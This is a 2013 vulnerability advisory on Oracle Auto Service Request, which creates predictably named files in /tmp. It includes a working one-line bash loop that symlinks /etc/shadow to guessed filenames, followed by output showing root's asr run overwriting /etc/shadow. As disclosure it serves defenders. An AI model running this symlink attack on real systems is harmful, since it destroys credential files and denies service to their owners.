Exploit the possiblities

Oracle Auto Service Request File Clobber

Oracle Auto Service Request File Clobber
Posted Feb 5, 2013
Authored by Larry W. Cashdollar

Oracle Auto Service Request creates files insecurely in /tmp using time stamps instead of mkstemp(). Due to this, it is possible to clobber root owned files and possibly cause a denial of service condition or worse.

tags | exploit, denial of service, root
systems | solaris
MD5 | 06643f98c448505c0fa13200056fd7a8

Oracle Auto Service Request File Clobber

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Oracle Auto Service Request software package creates files insecurely in /tmp using time stamps instead of mkstemp().  You can clobber root owned files if you know when around the time the root administrator will be using this utility.



[larry@oracle-os-lab01 tmp]$ for x in `seq 500 999`; do ln -s /etc/shadow /tmp/status1_020213003$x; done


root executes the asr command:

[root@oracle-os-lab01 bin]# ./asr

register OR register [-e asr-manager-relay-url]: register ASR
unregister : unregister ASR
show_reg_status : show ASR registration status
test_connection : test connection to Oracle
.
.
.

version : show asr script version
exit
help : display a list of commands
? : display a list of commands


asr>

/etc/shadow is now overwritten with the contents of /tmp/status1_020213003722
root # cat /etc/shadow

id State Bundle
68 ACTIVE com.sun.svc.asr.sw_4.3.1
Fragments=69, 70
69 RESOLVED com.sun.svc.asr.sw-frag_4.3.1
Master=68
70 RESOLVED com.sun.svc.asr.sw-rulesdefinitions_4.3.1
Master=68
72 ACTIVE com.sun.svc.asr.sw.http.AsrHttpReceiver_1.0.0
Fragments=73
73 RESOLVED com.sun.svc.asr.sw.http-frag_1.0.0
Master=72

67 ACTIVE com.sun.svc.ServiceActivation_4.3.1

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